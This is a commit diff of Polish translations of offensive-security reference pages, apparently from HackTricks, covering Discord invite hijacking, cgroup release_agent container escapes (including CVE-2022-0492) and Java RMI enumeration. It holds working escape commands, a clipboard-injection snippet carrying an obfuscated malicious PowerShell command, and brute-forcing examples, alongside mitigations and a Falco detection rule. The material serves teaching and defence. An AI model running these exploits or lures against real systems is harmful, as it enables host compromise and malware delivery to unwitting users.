mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
f6149b3b31
commit
4db54d34a4
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Wrażliwość systemu zaproszeń Discorda pozwala aktorom zagrożenia na przejęcie wygasłych lub usuniętych kodów zaproszeń (tymczasowych, stałych lub niestandardowych) jako nowych linków niestandardowych na każdym serwerze z poziomem 3. Normalizując wszystkie kody do małych liter, atakujący mogą wstępnie zarejestrować znane kody zaproszeń i cicho przejąć ruch, gdy oryginalny link wygaśnie lub źródłowy serwer straci swoje wzmocnienie.
|
||||
Luka w systemie zaproszeń Discorda pozwala aktorom zagrożeń na przejęcie wygasłych lub usuniętych kodów zaproszeń (tymczasowych, stałych lub niestandardowych) jako nowych linków niestandardowych na każdym serwerze z poziomem 3. Normalizując wszystkie kody do małych liter, atakujący mogą wstępnie zarejestrować znane kody zaproszeń i cicho przejąć ruch, gdy oryginalny link wygaśnie lub źródłowy serwer straci swoje wzmocnienie.
|
||||
|
||||
## Typy zaproszeń i ryzyko przejęcia
|
||||
|
||||
| Typ zaproszenia | Możliwe przejęcie? | Warunek / Uwagi |
|
||||
|-----------------------|---------------------|----------------------------------------------------------------------------------------------------------|
|
||||
| Tymczasowy link zaproszenia | ✅ | Po wygaśnięciu kod staje się dostępny i może być ponownie zarejestrowany jako URL niestandardowy przez wzmocniony serwer. |
|
||||
| Stały link zaproszenia | ⚠️ | Jeśli zostanie usunięty i składa się tylko z małych liter i cyfr, kod może stać się ponownie dostępny. |
|
||||
| Niestandardowy link niestandardowy | ✅ | Jeśli oryginalny serwer straci swoje wzmocnienie poziomu 3, jego zaproszenie niestandardowe staje się dostępne do nowej rejestracji. |
|
||||
| Typ zaproszenia | Można przejąć? | Warunek / Uwagi |
|
||||
|-----------------------|----------------|----------------------------------------------------------------------------------------------------------|
|
||||
| Tymczasowy link zaproszenia | ✅ | Po wygaśnięciu kod staje się dostępny i może być ponownie zarejestrowany jako URL niestandardowy przez wzmocniony serwer. |
|
||||
| Stały link zaproszenia | ⚠️ | Jeśli zostanie usunięty i składa się tylko z małych liter i cyfr, kod może stać się ponownie dostępny. |
|
||||
| Niestandardowy link niestandardowy | ✅ | Jeśli oryginalny serwer straci swoje wzmocnienie poziomu 3, jego zaproszenie niestandardowe staje się dostępne do nowej rejestracji. |
|
||||
|
||||
## Kroki eksploatacji
|
||||
|
||||
@ -22,7 +22,7 @@ Wrażliwość systemu zaproszeń Discorda pozwala aktorom zagrożenia na przeję
|
||||
- W **Ustawienia serwera → URL niestandardowy**, spróbuj przypisać docelowy kod zaproszenia. Jeśli zostanie zaakceptowany, kod jest zarezerwowany przez złośliwy serwer.
|
||||
3. Aktywacja przejęcia
|
||||
- W przypadku tymczasowych zaproszeń, poczekaj, aż oryginalne zaproszenie wygaśnie (lub ręcznie je usuń, jeśli kontrolujesz źródło).
|
||||
- W przypadku kodów zawierających wielkie litery, wariant małych liter można przejąć natychmiast, chociaż przekierowanie aktywuje się dopiero po wygaśnięciu.
|
||||
- W przypadku kodów zawierających wielkie litery, wersja małymi literami może być przejęta natychmiast, chociaż przekierowanie aktywuje się dopiero po wygaśnięciu.
|
||||
4. Ciche przekierowanie
|
||||
- Użytkownicy odwiedzający stary link są bezproblemowo kierowani do serwera kontrolowanego przez atakującego, gdy przejęcie jest aktywne.
|
||||
|
||||
@ -35,7 +35,7 @@ Wrażliwość systemu zaproszeń Discorda pozwala aktorom zagrożenia na przeję
|
||||
- Wyświetl komunikat o uszkodzonym CAPTCHA.
|
||||
- Poprowadź użytkowników do otwarcia okna dialogowego **Win+R**, wklejenia wstępnie załadowanej komendy PowerShell i naciśnięcia Enter.
|
||||
|
||||
### Przykład wstrzykiwania schowka ClickFix
|
||||
### Przykład wstrzyknięcia ClickFix do schowka
|
||||
```javascript
|
||||
// Copy malicious PowerShell command to clipboard
|
||||
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
|
||||
@ -50,12 +50,12 @@ To podejście unika bezpośrednich pobrań plików i wykorzystuje znane elementy
|
||||
|
||||
- Używaj stałych linków zaproszeń zawierających przynajmniej jedną wielką literę lub znak niealfanumeryczny (nigdy nie wygasają, nie są wielokrotnego użytku).
|
||||
- Regularnie zmieniaj kody zaproszeń i unieważniaj stare linki.
|
||||
- Monitoruj status boosta serwera Discord i roszczenia do niestandardowych URL-i.
|
||||
- Monitoruj status boosta serwera Discord i roszczenia dotyczące URL vanity.
|
||||
- Edukuj użytkowników, aby weryfikowali autentyczność serwera i unikali wykonywania poleceń wklejonych ze schowka.
|
||||
|
||||
## Referencje
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,9 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Aby uzyskać więcej szczegółów, zapoznaj się z** [**oryginalnym wpisem na blogu**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** To tylko podsumowanie:
|
||||
**Aby uzyskać więcej szczegółów, zapoznaj się z** [**oryginalnym wpisem na blogu**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** To jest tylko podsumowanie:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## Klasyczny PoC (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
Dowód koncepcji (PoC) demonstruje metodę wykorzystania cgroups poprzez utworzenie pliku `release_agent` i wywołanie go w celu wykonania dowolnych poleceń na hoście kontenera. Oto podział kroków zaangażowanych w ten proces:
|
||||
PoC wykorzystuje funkcję **cgroup-v1** `release_agent`: gdy ostatnie zadanie cgroup, które ma `notify_on_release=1`, kończy działanie, jądro (w **początkowych przestrzeniach nazw na hoście**) wykonuje program, którego ścieżka jest przechowywana w zapisywalnym pliku `release_agent`. Ponieważ to wykonanie odbywa się z **pełnymi uprawnieniami roota na hoście**, uzyskanie dostępu do zapisu w pliku jest wystarczające do ucieczki z kontenera.
|
||||
|
||||
### Krótkie, czytelne wprowadzenie
|
||||
|
||||
1. **Przygotuj nową cgroup**
|
||||
|
||||
1. **Przygotowanie środowiska:**
|
||||
- Tworzony jest katalog `/tmp/cgrp`, który służy jako punkt montowania dla cgroup.
|
||||
- Kontroler cgroup RDMA jest montowany do tego katalogu. W przypadku braku kontrolera RDMA, sugeruje się użycie kontrolera cgroup `memory` jako alternatywy.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **Ustawienie Cgroup Dziecka:**
|
||||
- Cgroup dziecka o nazwie "x" jest tworzona w zamontowanym katalogu cgroup.
|
||||
- Powiadomienia są włączone dla cgroup "x" poprzez zapisanie 1 do pliku notify_on_release.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # lub –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **Skonfiguruj agenta wydania:**
|
||||
- Ścieżka kontenera na hoście jest uzyskiwana z pliku /etc/mtab.
|
||||
- Plik release_agent cgroup jest następnie konfigurowany do wykonania skryptu o nazwie /cmd znajdującego się w uzyskanej ścieżce hosta.
|
||||
|
||||
2. **Wskaź `release_agent` na skrypt kontrolowany przez atakującego na hoście**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **Utwórz i skonfiguruj skrypt /cmd:**
|
||||
- Skrypt /cmd jest tworzony wewnątrz kontenera i jest skonfigurowany do wykonywania ps aux, przekierowując wyjście do pliku o nazwie /output w kontenerze. Pełna ścieżka do /output na hoście jest określona.
|
||||
|
||||
3. **Zrzut ładunku**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **Wyzwól Atak:**
|
||||
- Proces jest inicjowany w "x" cgroup dziecka i natychmiast kończony.
|
||||
- To wyzwala `release_agent` (skrypt /cmd), który wykonuje ps aux na hoście i zapisuje wynik do /output w kontenerze.
|
||||
|
||||
4. **Wywołaj powiadamiacz**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # dodajemy siebie i natychmiast wychodzimy
|
||||
cat /output # teraz zawiera procesy hosta
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Luka w jądrze z 2022 roku – CVE-2022-0492
|
||||
|
||||
W lutym 2022 roku Yiqi Sun i Kevin Wang odkryli, że **jądro *nie* weryfikowało uprawnień, gdy proces pisał do `release_agent` w cgroup-v1** (funkcja `cgroup_release_agent_write`).
|
||||
|
||||
Efektywnie **każdy proces, który mógł zamontować hierarchię cgroup (np. za pomocą `unshare -UrC`), mógł zapisać dowolną ścieżkę do `release_agent` bez `CAP_SYS_ADMIN` w *początkowej* przestrzeni nazw użytkownika**. W domyślnie skonfigurowanym, działającym jako root kontenerze Docker/Kubernetes umożliwiło to:
|
||||
|
||||
* eskalację uprawnień do roota na hoście; ↗
|
||||
* ucieczkę z kontenera bez nadania mu uprawnień.
|
||||
|
||||
Wadze przypisano **CVE-2022-0492** (CVSS 7.8 / Wysokie) i naprawiono w następujących wersjach jądra (i wszystkich późniejszych):
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
Commit poprawki: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### Minimalny exploit wewnątrz kontenera
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
Jeśli jądro jest podatne, binarka busybox z *hosta* wykonuje się z pełnymi uprawnieniami roota.
|
||||
|
||||
### Wzmocnienia i łagodzenia
|
||||
|
||||
* **Zaktualizuj jądro** (≥ wersje powyżej). Łatka teraz wymaga `CAP_SYS_ADMIN` w *początkowej* przestrzeni użytkownika, aby zapisać do `release_agent`.
|
||||
* **Preferuj cgroup-v2** – zjednoczona hierarchia **całkowicie usunęła funkcję `release_agent`**, eliminując tę klasę ucieczek.
|
||||
* **Wyłącz nieuprzywilejowane przestrzenie użytkownika** na hostach, które ich nie potrzebują:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **Obowiązkowa kontrola dostępu**: Polityki AppArmor/SELinux, które odmawiają `mount`, `openat` na `/sys/fs/cgroup/**/release_agent`, lub odbierają `CAP_SYS_ADMIN`, zatrzymują tę technikę nawet na podatnych jądrach.
|
||||
* **Tylko do odczytu maska bindowania** wszystkich plików `release_agent` (przykład skryptu Palo Alto):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## Wykrywanie w czasie rzeczywistym
|
||||
|
||||
[`Falco`](https://falco.org/) dostarcza wbudowaną regułę od v0.32:
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
Reguła uruchamia się przy każdej próbie zapisu do `*/release_agent` z procesu wewnątrz kontenera, który nadal posiada `CAP_SYS_ADMIN`.
|
||||
|
||||
## References
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – szczegółowa analiza i skrypt łagodzący.
|
||||
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ na wywoływanie metod obiektu znajdującego się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji przy użyciu paradygmatu obiektowego. Krótkie wprowadzenie do _Java RMI_ z ofensywnej perspektywy można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ na wywoływanie metod obiektu znajdującego się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji w oparciu o paradygmat obiektowy. Krótkie wprowadzenie do _Java RMI_ z ofensywnej perspektywy można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
|
||||
**Domyślny port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION
|
||||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
Zazwyczaj tylko domyślne komponenty _Java RMI_ ( _RMI Registry_ i _Activation System_ ) są powiązane z powszechnymi portami. _Obiekty zdalne_, które implementują rzeczywistą aplikację _RMI_, są zazwyczaj powiązane z losowymi portami, jak pokazano w powyższym wyniku.
|
||||
Zazwyczaj tylko domyślne komponenty _Java RMI_ ( _RMI Registry_ i _Activation System_ ) są przypisane do wspólnych portów. _Obiekty zdalne_, które implementują rzeczywistą aplikację _RMI_, są zazwyczaj przypisane do losowych portów, jak pokazano w powyższym wyniku.
|
||||
|
||||
_nmap_ czasami ma problemy z identyfikacją chronionych _SSL_ usług _RMI_. Jeśli napotkasz nieznaną usługę ssl na powszechnym porcie _RMI_, powinieneś przeprowadzić dalsze dochodzenie.
|
||||
_nmap_ czasami ma problemy z identyfikacją chronionych _SSL_ usług _RMI_. Jeśli napotkasz nieznaną usługę ssl na wspólnym porcie _RMI_, powinieneś przeprowadzić dalsze dochodzenie.
|
||||
|
||||
## Komponenty RMI
|
||||
|
||||
Mówiąc prosto, _Java RMI_ pozwala deweloperowi udostępnić _obiekt Java_ w sieci. Otwiera to port _TCP_, na którym klienci mogą się łączyć i wywoływać metody na odpowiednim obiekcie. Mimo że brzmi to prosto, istnieje kilka wyzwań, które _Java RMI_ musi rozwiązać:
|
||||
|
||||
1. Aby przekazać wywołanie metody za pomocą _Java RMI_, klienci muszą znać adres IP, port nasłuchujący, zaimplementowaną klasę lub interfejs oraz `ObjID` docelowego obiektu ( `ObjID` to unikalny i losowy identyfikator, który jest tworzony, gdy obiekt jest udostępniany w sieci. Jest wymagany, ponieważ _Java RMI_ pozwala wielu obiektom nasłuchiwać na tym samym porcie _TCP_ ).
|
||||
2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. _Java virtual machine_ musi śledzić, które z tych zasobów są nadal używane, a które mogą być zbierane przez garbage collector.
|
||||
2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. _Java virtual machine_ musi śledzić, które z tych zasobów są nadal używane, a które mogą być usunięte.
|
||||
|
||||
Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ jest również usługą _RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_.
|
||||
Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewnictwa dla _Java RMI_. _RMI registry_ jest również usługą _RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_.
|
||||
|
||||
Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj wiążą je z _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z usługi _RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. W ten sposób sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład:
|
||||
Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj przypisują je do _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z _usługi RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. W ten sposób sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,7 +51,7 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
Drugie z wymienionych wyzwań jest rozwiązywane przez _Distributed Garbage Collector_ (_DGC_). Jest to kolejna _usługa RMI_ z dobrze znaną wartością `ObjID` i jest dostępna praktycznie na każdym _punkcie końcowym RMI_. Gdy _klient RMI_ zaczyna korzystać z _usługi RMI_, wysyła informację do _DGC_, że odpowiadający _obiekt zdalny_ jest w użyciu. _DGC_ może wtedy śledzić liczbę referencji i jest w stanie oczyścić nieużywane obiekty.
|
||||
Drugie z wymienionych powyżej wyzwań jest rozwiązywane przez _Distributed Garbage Collector_ (_DGC_). Jest to inna _usługa RMI_ z dobrze znaną wartością `ObjID` i jest dostępna praktycznie na każdym _punkcie końcowym RMI_. Gdy _klient RMI_ zaczyna korzystać z _usługi RMI_, wysyła informację do _DGC_, że odpowiadający _obiekt zdalny_ jest w użyciu. _DGC_ może wtedy śledzić liczbę referencji i jest w stanie oczyścić nieużywane obiekty.
|
||||
|
||||
Razem z przestarzałym _Systemem Aktywacji_, są to trzy domyślne komponenty _Java RMI_:
|
||||
|
||||
@ -59,11 +59,11 @@ Razem z przestarzałym _Systemem Aktywacji_, są to trzy domyślne komponenty _J
|
||||
2. _System Aktywacji_ (`ObjID = 1`)
|
||||
3. _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
Domyślne komponenty _Java RMI_ są znanymi wektorami ataku od dłuższego czasu i istnieje wiele luk w przestarzałych wersjach _Java_. Z perspektywy atakującego, te domyślne komponenty są interesujące, ponieważ implementują znane klasy/interfejsy i łatwo można z nimi interagować. Sytuacja jest inna w przypadku niestandardowych _usług RMI_. Aby wywołać metodę na _obiekcie zdalnym_, musisz znać odpowiadający podpis metody z wyprzedzeniem. Bez znajomości istniejącego podpisu metody, nie ma możliwości komunikacji z _usługą RMI_.
|
||||
Domyślne komponenty _Java RMI_ są znanymi wektorami ataków od dłuższego czasu i istnieje wiele luk w przestarzałych wersjach _Java_. Z perspektywy atakującego, te domyślne komponenty są interesujące, ponieważ implementują znane klasy/interfejsy i łatwo można z nimi interagować. Sytuacja jest inna w przypadku niestandardowych _usług RMI_. Aby wywołać metodę na _obiekcie zdalnym_, musisz znać odpowiadający podpis metody z wyprzedzeniem. Bez znajomości istniejącego podpisu metody, nie ma możliwości komunikacji z _usługą RMI_.
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) to skaner luk _Java RMI_, który jest w stanie automatycznie identyfikować powszechne _luki RMI_. Kiedy zidentyfikujesz _punkt końcowy RMI_, powinieneś spróbować:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) to skaner luk w _Java RMI_, który jest w stanie automatycznie identyfikować powszechne _luki RMI_. Kiedy tylko zidentyfikujesz _punkt końcowy RMI_, powinieneś spróbować:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 9010
|
||||
[+] RMI registry bound names:
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
Wynik akcji enumeracji jest wyjaśniony bardziej szczegółowo na [stronach dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki.
|
||||
Wynik akcji enumeracji jest szczegółowo opisany na stronach [dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki.
|
||||
|
||||
Wartości `ObjID` wyświetlane przez _remote-method-guesser_ mogą być używane do określenia czasu działania usługi. Może to pozwolić na zidentyfikowanie innych luk:
|
||||
```
|
||||
@ -138,9 +138,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
```
|
||||
## Bruteforcing Remote Methods
|
||||
|
||||
Nawet gdy podczas enumeracji nie zidentyfikowano żadnych luk, dostępne usługi _RMI_ mogą nadal ujawniać niebezpieczne funkcje. Ponadto, mimo że komunikacja _RMI_ z domyślnymi komponentami _RMI_ jest chroniona przez filtry deserializacji, w przypadku rozmowy z niestandardowymi usługami _RMI_ takie filtry zazwyczaj nie są stosowane. Znajomość ważnych sygnatur metod w usługach _RMI_ jest zatem cenna.
|
||||
Nawet gdy podczas enumeracji nie zidentyfikowano żadnych luk, dostępne _RMI_ usługi mogą nadal ujawniać niebezpieczne funkcje. Co więcej, mimo że komunikacja _RMI_ z domyślnymi komponentami _RMI_ jest chroniona przez filtry deserializacji, w przypadku rozmowy z niestandardowymi usługami _RMI_ takie filtry zazwyczaj nie są stosowane. Znajomość ważnych sygnatur metod w usługach _RMI_ jest zatem cenna.
|
||||
|
||||
Niestety, _Java RMI_ nie obsługuje enumeracji metod na _obiektach zdalnych_. Mimo to, możliwe jest bruteforcing sygnatur metod za pomocą narzędzi takich jak [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) lub [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
Niestety, _Java RMI_ nie obsługuje enumeracji metod na _obiektach zdalnych_. Mimo to, możliwe jest brutalne wymuszanie sygnatur metod za pomocą narzędzi takich jak [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) lub [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -205,7 +205,7 @@ Więcej informacji można znaleźć w tych artykułach:
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Oprócz zgadywania, powinieneś również poszukać w wyszukiwarkach lub _GitHub_ interfejsu lub nawet implementacji napotkanego _RMI_ serwisu. _Bound name_ oraz nazwa zaimplementowanej klasy lub interfejsu mogą być tutaj pomocne.
|
||||
Oprócz zgadywania, powinieneś również poszukać w wyszukiwarkach lub _GitHub_ interfejsu lub nawet implementacji napotkanego _RMI_ serwisu. _Nazwa powiązania_ oraz nazwa zaimplementowanej klasy lub interfejsu mogą być tutaj pomocne.
|
||||
|
||||
## Znane interfejsy
|
||||
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
- `port:1099 java`
|
||||
|
||||
## Narzędzia
|
||||
## Tools
|
||||
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||
|
||||
## Odniesienia
|
||||
## References
|
||||
|
||||
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
#### Czym jest
|
||||
|
||||
Docker to **wiodąca platforma** w **przemyśle konteneryzacji**, prowadząca do **ciągłej innowacji**. Umożliwia łatwe tworzenie i dystrybucję aplikacji, od **tradycyjnych po futurystyczne**, i zapewnia ich **bezpieczne wdrożenie** w różnych środowiskach.
|
||||
